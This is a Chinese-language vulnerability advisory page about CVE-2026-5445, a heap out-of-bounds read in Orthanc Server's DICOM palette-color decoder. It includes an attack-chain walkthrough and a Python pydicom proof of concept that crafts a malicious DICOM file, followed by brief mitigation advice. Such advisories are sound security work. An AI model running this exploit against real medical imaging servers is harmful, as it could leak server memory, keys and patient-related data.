IPBUF安全漏洞报告
English
CVE-2026-5445 CVSS 9.1 严重

CVE-2026-5445 Orthanc Server越界读取漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-5445
漏洞类型
越界读取
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Orthanc Server

相关标签

CVE-2026-5445Orthanc Server越界读取信息泄露DICOM医疗设备安全

漏洞概述

CVE-2026-5445是Orthanc Server中存在的一个严重安全漏洞。该漏洞源于DicomImageDecoder.cpp文件中DecodeLookupTable函数的缺陷。在处理PALETTE COLOR格式的DICOM图像时,程序未能正确验证像素索引是否超出查找表的大小限制。攻击者可利用此漏洞上传特制的恶意图像文件,触发越界读取操作,导致堆内存敏感信息泄露,严重影响系统机密性。

技术细节

该漏洞属于越界读取类型,具体发生在DicomImageDecoder.cpp的DecodeLookupTable函数中。该函数负责解码DICOM图像中的调色板数据。漏洞触发原理是:当解码PALETTE COLOR类型的图像时,代码直接使用图像像素数据中的索引值作为数组下标访问内存中的查找表,但缺少了对索引值上限的校验机制。如果攻击者构造一个包含大于调色板实际尺寸的索引值的恶意DICOM文件,服务器在解析时就会访问查找表分配内存之外的堆区域。由于被越界读取的内存数据会被包含在解码后的输出图像中,攻击者只需上传并获取该图像,即可从像素数据中还原出服务器堆内存的内容,从而可能导致密钥泄露或其他敏感数据暴露。

攻击链分析

STEP 1
侦察
攻击者识别目标使用的是存在漏洞的Orthanc Server版本,并确定该服务接受并处理DICOM图像上传。
STEP 2
武器化
攻击者利用Python脚本或专用工具构造一个特制的DICOM图像文件。该文件具有PALETTE COLOR属性,且像素数据中包含超出调色板大小的索引值(例如索引255,而调色板大小仅为2)。
STEP 3
传递
攻击者通过Orthanc Server的Web接口或DICOM协议(STOW-RS)将恶意文件上传至目标服务器。
STEP 4
利用
Orthanc Server在处理该图像时,调用DicomImageDecoder.cpp中的DecodeLookupTable函数。由于缺少边界检查,程序读取了查找表分配范围之外的堆内存数据。
STEP 5
外泄
被越界读取的堆内存内容被错误地包含在解码后的图像数据中。攻击者下载或访问该图像,分析像素数据以提取泄露的敏感信息(如内存地址、加密密钥等)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import pydicom import struct # Simulate creating a malicious DICOM file structure # This is a conceptual PoC to demonstrate the vulnerability trigger logic. # In a real scenario, one would need to craft a valid DICOM file with # specific tags that trigger the DecodeLookupTable path. def create_malicious_dicom(filename): # Create a minimal File Meta Information file_meta = pydicom.dataset.FileMetaDataset() file_meta.TransferSyntaxUID = '1.2.840.10008.1.2' # Implicit VR Little Endian file_meta.MediaStorageSOPClassUID = '1.2.840.10008.5.1.4.1.1.7' # Secondary Capture Image Storage file_meta.MediaStorageSOPInstanceUID = '1.2.3.4.5' file_meta.ImplementationClassUID = '1.2.3.4' # Create the Dataset ds = pydicom.dataset.Dataset(file_meta=file_meta) ds.SOPClassUID = '1.2.840.10008.5.1.4.1.1.7' ds.SOPInstanceUID = '1.2.3.4.5' # Set image attributes to trigger PALETTE COLOR decoding ds.SamplesPerPixel = 1 ds.PhotometricInterpretation = 'PALETTE COLOR' ds.BitsAllocated = 8 ds.BitsStored = 8 ds.HighBit = 7 ds.PixelRepresentation = 0 ds.Rows = 10 ds.Columns = 10 # Create a Palette with a small size (e.g., 2 colors) # Red, Green, Blue lookup tables ds.RedPaletteColorLookupTableDescriptor = b'\x00\x01\x10\x00\x00\x00' # 2 entries, 16 bits ds.GreenPaletteColorLookupTableDescriptor = b'\x00\x01\x10\x00\x00\x00' ds.BluePaletteColorLookupTableDescriptor = b'\x00\x01\x10\x00\x00\x00' # Dummy palette data ds.RedPaletteColorLookupTableData = b'\x00\x00\xFF\xFF' ds.GreenPaletteColorLookupTableData = b'\x00\x00\xFF\xFF' ds.BluePaletteColorLookupTableData = b'\x00\x00\xFF\xFF' # Pixel Data: Contains indices that exceed the palette size (e.g., 255) # The palette size is 2, so valid indices are 0 and 1. 255 is out of bounds. malicious_pixel_data = b'\xFF' * (10 * 10) ds.PixelData = malicious_pixel_data # Save the file ds.save_as(filename) print(f"Malicious DICOM file created: {filename}") if __name__ == "__main__": create_malicious_dicom('malicious.dcm') # When this file is processed by a vulnerable Orthanc Server instance, # it will attempt to access index 255 in a palette of size 2, # causing an out-of-bounds read.

影响范围

Orthanc Server (具体受影响版本请参考官方安全公告)

防御指南

临时缓解措施
建议立即限制非受信任用户上传DICOM文件的权限,并尽快应用官方补丁修复此越界读取漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表